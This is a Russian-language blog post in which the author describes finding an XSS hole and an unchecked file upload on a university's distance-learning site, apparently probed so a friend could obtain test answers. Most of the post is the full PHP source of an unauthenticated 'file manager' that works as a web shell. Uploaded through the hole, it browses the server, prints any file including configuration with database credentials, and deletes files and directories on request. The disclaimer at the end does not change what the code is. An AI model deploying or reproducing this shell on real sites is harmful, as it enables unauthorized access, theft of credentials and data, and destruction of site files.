Так уж получилось, что давеча одному моему знакомому пришлось проходить одно дистанционное обучение. Качество материалов было ужасное, как и большинство дистанционных курсов в нашей Российской Федерации, в чем я убедился самостоятельно. Хотел бы отвлечься и сказать, что, к моему великому сожалению классическое образование времен СССР втоптали в грязь, а систему, которую построили на его костях, настолько испоганили различными экспериментами, по другому называемыми "побыстрее срубить бабла, а пипл схавает", что просто не хватает слов.
То же со школами, то же и с институтами... так вот, как упомянул ранее, проходил мой знакомый дистанционное обучение в одном таком институте... Когда я сам взглянул на материалы обучения, я мягко говоря был в шоке: они изобиловали ошибками и далекими от реальности знаниями... А учили их защите информации... те люди, которые сами по настоящему не научились защищать информацию. О чем далее...
После попыток осмыслить теоретическую часть курса, моим знакомым решено было не ломать себе голову, не тратить впустую время на эту х... ерунду, а где-то на сайте раздобыть ответы, по-быстрому пройти тесты и забыть об этом обучении как о страшном и кошмарном сне. С чем он и обратился ко мне.
Изучение интерфейса веб-программы для обучения сразу же выявило несколько багов. Во-первых форум не фильтровал служебные символы, а значит любой вверденный туда html-текст, отображался как есть и я при желании мог выполнить любой JavaScript, т.е. увести сессию/кукисы администратора, но решено было исследовать возможности программы на баги дальше.
Каково же было моё удивление, когда я обнаружил в интерфейсе не просто дыру, а ДЫРИЩУ!!!, а именно возможность загрузить свою фотографию в какое-то секретное место на сайте, папку, и расширение моего файла фото абсолютно не проверялось. То есть я мог загрузить абсолютно любой файл, даже исполняемый. Попробовал загрузить 1.txt и, о чудо!, программа его "схавала".
Вопрос конечно отдельный: нахрена добавлена загрузка фото в непонятно для каких целей созданную папку в программе для дистанционного обучения?
При том что самой фотогалереи или возможности отображения собственного фото в настройках - НЕ БЫЛО!!!
Для начала нужно было найти эту секретную папку для фото... Искать долго не пришлось, она называлась классическим образом (а Вы тоже называете папки для изображений images, image или photos?)
Ну а когда она была найдена, мною был создан простенький файловый менеджер, позволяющий ходить по папкам, сканировать их содержимое и выводить код любого файла сайта на экран (что можно было использовать для получения пароля к базе данных сайта со всеми ответами).
Знакомому файл, разумеется, не дал, сказал, чтобы он не безобразничал, а учился. Надо значит надо!
Сам им тоже не воспользовался - не я же учусь. :-)
А вот кодом файлового менеджера делюсь с Вами:
//сайты зачастую пишут в кодировке Unicode
header("Content-type: text/html; charset=cp1251"); //задаем кодировку имен файлов, наш файл должен быть сохранен в той же, для облегчения
$myname = 'manage.php'; //имя этого файла
function find_and_replace($dir,$showfiles) {
$new_dir = null;
$dir_files = opendir($dir);
while(false !== ($file = readdir($dir_files))) {
if($file != '.' && $file != '..')
$new_dir[] = $dir."/".$file;
}
if($new_dir) {
foreach($new_dir as $check ) {
$bn = basename($check).PHP_EOL; //получаю имя файла или папки
if(($showfiles) && (is_file($check))) {
echo '<li><a href="'.$myname.'?file='.$check.'">'.$bn.'</a> ';
echo date('Y-m-d',filemtime($check)).' ';
echo '<a href="'.$myname.'?file='.$check.'&action=delete" title="Удалить">X</a>';
echo '</li>';
}
elseif(is_dir($check)) {
echo '<li><a href="'.$myname.'?file='.$check.'">'.$bn.'</a> ';
echo '<a href="'.$myname.'?file='.$check.'&action=delete" title="Удалить">X</a>';
echo '</li>';
echo '<ul>';
find_and_replace($check,$showfiles);
echo '</ul>';
}
}
}
}
$fp = dirname($_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'].'/'); //путь к нашему файлу
//какой файл
if (array_key_exists("file", $_REQUEST))
$file = $_REQUEST["file"];
else $file = $fp;
//что делать будем
if (array_key_exists("action", $_REQUEST))
$action = $_REQUEST["action"];
else $action = 'show';
echo '<a href="'.$myname.'">В НАЧАЛО</a><p>';
echo '<a href="'.$myname.'?file='.((array_key_exists("file", $_REQUEST))?dirname($file):$file).'">ВВЕРХ</a><p>';
if ($action == 'show') {
if (file_exists($file)) {
if (is_file($file)) {
$contents=file_get_contents($file);
$contents=nl2br(htmlspecialchars($contents));
echo $contents; //выводим содержание
} else { //иначе выводим содержимое папки и её подпапок
echo '<ul>';
find_and_replace($file,true);
echo '</ul>';
}
} else {
die($file.' не найдено!');
}
} else if ($action == 'delete') {
if (file_exists($file)) {
if (is_file($file)) {
if (unlink($file)) echo 'Файл '.$file.' удален!';
}
else {
if (deleteDir($file)) echo 'Дирректория '.$file.' удалена!';
}
} else {
die('Файл '.$file.' не найден!');
}
}
//удаляет папку со всем содержимым
function deleteDir($dir) {
if (substr($dir, strlen($dir)-1, 1) != '/')
$dir .= '/';
if ($handle = opendir($dir)) {
while ($obj = readdir($handle)) {
if ($obj != '.' && $obj != '..') {
if (is_dir($dir.$obj)) {
if (!deleteDir($dir.$obj))
return false;
}
elseif (is_file($dir.$obj)) {
if (!unlink($dir.$obj))
return false;
}
}
}
closedir($handle);
if (!@rmdir($dir))
return false;
return true;
}
return false;
}
?>
Данный файл может принимать в качестве параметров file (имя файла или папки, можно указать абсолютный или относительный путь), а также action (возможны варианты show - показать содержимое файла или папки; delete - удалить файл, папку). Например:
Кроме того, при вызове моего простого файлового менеджера без параметров, отображается содержимое папки в которой Вы сейчас находитесь. То есть основные команды: хождение по папкам, просмотр содержимого папок и файлов, а также их удаление, Вы можете делать с помощью мыши.
________________
Данная информация дана исключительно в ознакомительных целях, никакой ответственности за её использование автор не несет. Рекомендую использовать данную статью исключительно для собственного развития и никоим образом не для вреда кому-либо или чему-либо.
Comments
RSS feed for comments to this post